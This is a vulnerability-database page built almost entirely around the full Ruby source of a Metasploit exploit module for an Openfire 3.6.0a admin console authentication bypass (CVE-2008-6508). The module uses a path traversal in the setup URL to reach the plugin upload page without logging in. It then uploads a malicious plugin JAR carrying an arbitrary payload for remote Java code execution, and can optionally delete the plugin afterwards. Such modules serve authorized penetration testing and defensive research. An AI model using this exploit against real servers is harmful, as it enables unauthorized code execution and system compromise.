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Openfire Admin Console Authentication Bypass

🗓️ 10 Nov 2008 00:00:00Reported by Andreas Kurtz, h0ng10Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 113 Views

Openfire Admin Console Authentication Bypass vulnerability allows upload and execution of malicious plugins, leading to arbitrary Java code execution. Exploits Openfire 3.6.0a

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { pattern: [ /(Jetty)/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Openfire Admin Console Authentication Bypass',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability in the administration
          console of Openfire servers. By using this vulnerability it is possible to
          upload/execute a malicious Openfire plugin on the server and execute arbitrary Java
          code. This module has been tested against Openfire 3.6.0a.

          It is possible to remove the uploaded plugin after execution, however this might turn
          the server in some kind of unstable state, making re-exploitation difficult. You might
          want to do this manually.
        },
        'Author' => [
          'Andreas Kurtz', # Vulnerability discovery
          'h0ng10' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2008-6508' ],
          [ 'OSVDB', '49663' ],
          [ 'BID', '32189' ],
          [ 'EDB', '7075' ],
          [ 'URL', 'http://community.igniterealtime.org/thread/35874' ]
        ],
        'DisclosureDate' => '2008-11-10',
        'Privileged' => true,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Targets' => [
          #
          # Java version
          #
          [
            'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            }
          ],
          #
          # Platform specific targets
          #
          [
            'Windows x86 (Native Payload)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            }
          ],
          [
            'Linux x86 (Native Payload)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(9090),
        OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
        OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)' ]),
        OptString.new('PLUGINAUTHOR', [ false, 'Openfire plugin author, (default: random)' ]),
        OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)' ]),
        OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]),
      ]
    )
  end

  def post_auth?
    true
  end

  def check
    base = target_uri.path
    base << '/' if base[-1, 1] != '/'

    path = normalize_uri(base, 'login.jsp')
    res = send_request_cgi(
      {
        'uri' => path
      }
    )

    if (!res) or (res.code != 200)
      vprint_error("Unable to make a request to: #{path}")
      return Exploit::CheckCode::Unknown('Failed to fetch the login page')
    end

    versioncheck = res.body =~ %r{Openfire, \D*: (\d)\.(\d).(\d)\s*</div>}

    if versioncheck.nil?
      vprint_error('Unable to detect Openfire version')
      return Exploit::CheckCode::Unknown('Unable to determine Openfire version from response')
    end

    vprint_status("Detected version: #{::Regexp.last_match(1)}.#{::Regexp.last_match(2)}.#{::Regexp.last_match(3)}")
    version = "#{::Regexp.last_match(1)}#{::Regexp.last_match(2)}#{::Regexp.last_match(3)}".to_i

    return Exploit::CheckCode::Safe('The target is not running a vulnerable version') if version > 360

    # Just to be sure, try to access the log page
    path = "#{base}setup/setup-/../../log.jsp"
    res = send_request_cgi(
      {
        'uri' => path
      }
    )

    if (!res) or (res.code != 200)
      print_error("Failed: Error requesting #{path}")
      return Exploit::CheckCode::Unknown('An error occurred while checking the target')
    end

    Exploit::CheckCode::Appears('The target appears to be a vulnerable version')
  end

  def get_plugin_jar(plugin_name)
    files = [
      [ 'logo_large.gif' ],
      [ 'logo_small.gif' ],
      [ 'readme.html' ],
      [ 'changelog.html' ],
      [ 'lib', 'plugin-metasploit.jar' ]
    ]

    jar = Rex::Zip::Jar.new
    jar.add_files(files, File.join(Msf::Config.data_directory, 'exploits', 'openfire_plugin'))

    plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(rand(8..15))
    plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(rand(8..15))

    plugin_xml = File.open(File.join(Msf::Config.data_directory, 'exploits', 'openfire_plugin', 'plugin.xml'), 'rb') { |fd| fd.read }
    plugin_xml.gsub!(/PLUGINNAME/, plugin_name)
    plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)
    plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)

    jar.add_file('plugin.xml', plugin_xml)

    jar
  end

  def exploit
    base = normalize_uri(target_uri.path)
    base << '/' if base[-1, 1] != '/'

    plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(rand(8..15))
    plugin = get_plugin_jar(plugin_name)

    arch = target.arch
    plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]]

    if (exploit_regenerate_payload(plat, arch)).nil?
      print_error('Failed to regenerate payload')
      return
    end

    plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)
    plugin.build_manifest

    # Upload the plugin to the server
    print_status("Uploading plugin #{plugin_name} to the server")
    boundary = rand_text_alphanumeric(6)

    data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"uploadfile\"; "
    data << "filename=\"#{plugin_name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
    data << plugin.pack
    data << "\r\n--#{boundary}--"

    res = send_request_cgi({
      'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'),
      'method' => 'POST',
      'data' => data,
      'encode_params' => false,
      'headers' => {
        'Content-Type' => 'multipart/form-data; boundary=' + boundary,
        'Content-Length' => data.length,
        'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}"
      },
      'vars_get' => {
        'uploadplugin' => nil
      }
    })

    print_warning('Warning: got no response from the upload, continuing...') if !res

    # Delete the uploaded JAR file
    if datastore['REMOVE_PLUGIN']
      print_status("Deleting plugin #{plugin_name} from the server")
      res = send_request_cgi({
        'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'),
        'encode_params' => false,
        'headers' => {
          'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}"
        },
        'vars_get' => {
          'deleteplugin' => plugin_name.downcase
        }
      })
      if !res
        print_error("Error deleting the plugin #{plugin_name}. You might want to do this manually.")
      end
    end
  end
end

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10 Nov 2008 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 27.5
EPSS0.83664
113